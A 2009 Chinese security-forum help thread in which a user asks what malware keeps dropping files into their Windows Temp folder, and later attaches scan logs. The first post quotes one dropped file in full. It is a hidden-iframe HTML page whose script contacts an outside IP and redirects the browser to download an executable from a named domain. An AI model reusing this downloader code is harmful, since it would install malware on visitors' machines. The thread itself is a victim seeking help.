1   1  /  1  页   跳转页

[求助] 在Temp文件夹里总是自动生成病毒

收藏
erlin000001
头像
初生襁褓狮
  • 帖子:3
  • 注册: 2009-01-18
  • 来自:
发表于： 2009-01-18 17:19 | 显示全部 短消息 资料
字号： 小 中 大 1楼

在Temp文件夹里总是自动生成病毒

在C:\Documents and Settings\Administrator\Local Settings\Temp文件夹里每次上网都生成很多没有后缀名字的文件，都是由7个随机数字的名字，其中有一半用记事本打开是乱码，另一半用记事本打开里面是      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head></head><body><iframe id="timeFrm" src="about:blank" height=0 width=0 style="visibility:hidden" ></iframe><script type="text/javascript">var myTranFunc = function (){window.location="http://www.wixks.com/new/new10.exe";};function tranTime(){var a=new Date();document.getElementById("timeFrm").src="http://60.6.255.168/npserver/WebForm1.aspx?seq=" + a.getTime();}try{tranTime();window.setTimeout("myTranFunc()",10);}catch(e){ window.location="http://www.wixks.com/new/new10.exe";}</script><noscript><Meta http-equiv="Refresh" C></noscript></body><noframes><Meta http-equiv="Refresh" C></noframes></html>
其中网址后面的new10.exe可以下载，而其每个里面的名字都不一样，从new01.exe一直到new23.exe
我把这些文件都下了下来上传到附件里，不知道是什么病毒

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MAXTHON 2.0)

附件附件:

文件名:1.rar
下载次数:334
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 17:19:30
描述:rar

附件附件:

文件名:2.rar
下载次数:330
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 17:19:30
描述:rar

附件附件:

文件名:3.rar
下载次数:284
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 17:19:30
描述:rar
分享到：
gototop
 
erlin000001
头像
初生襁褓狮
  • 帖子:3
  • 注册: 2009-01-18
  • 来自:
发表于： 2009-01-18 18:02 | 显示全部 短消息 资料
字号： 小 中 大 2楼

回复: 在Temp文件夹里总是自动生成病毒



引用:
原帖由 aaccbbdd 于 2009-1-18 17:28:00 发表
个人建议不要偷懒，清理助手必须清理系统（如果可以运行的话），金山和sreng日志必须同时上传

1.扫日志前建议清理助手清理系统
清理助手下载
升级清理助手，全盘扫描，只清理报为病毒的高危险项目,其他项目请自己判断
同时观察清理助手是否报告

附件附件:

文件名:Report.txt
下载次数:224
文件类型:text/plain
文件大小:
上传时间:2009-1-18 18:01:44
描述:txt

附件附件:

文件名:SREngLOG.log
下载次数:190
文件类型:application/octet-stream
文件大小:
上传时间:2009-1-18 18:01:44
描述:log
gototop
 
erlin000001
头像
初生襁褓狮
  • 帖子:3
  • 注册: 2009-01-18
  • 来自:
发表于： 2009-01-18 19:49 | 显示全部 短消息 资料
字号： 小 中 大 3楼

回复：在Temp文件夹里总是自动生成病毒

没有找到你说的C:\windows\system32\kcffcgfg.dll
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT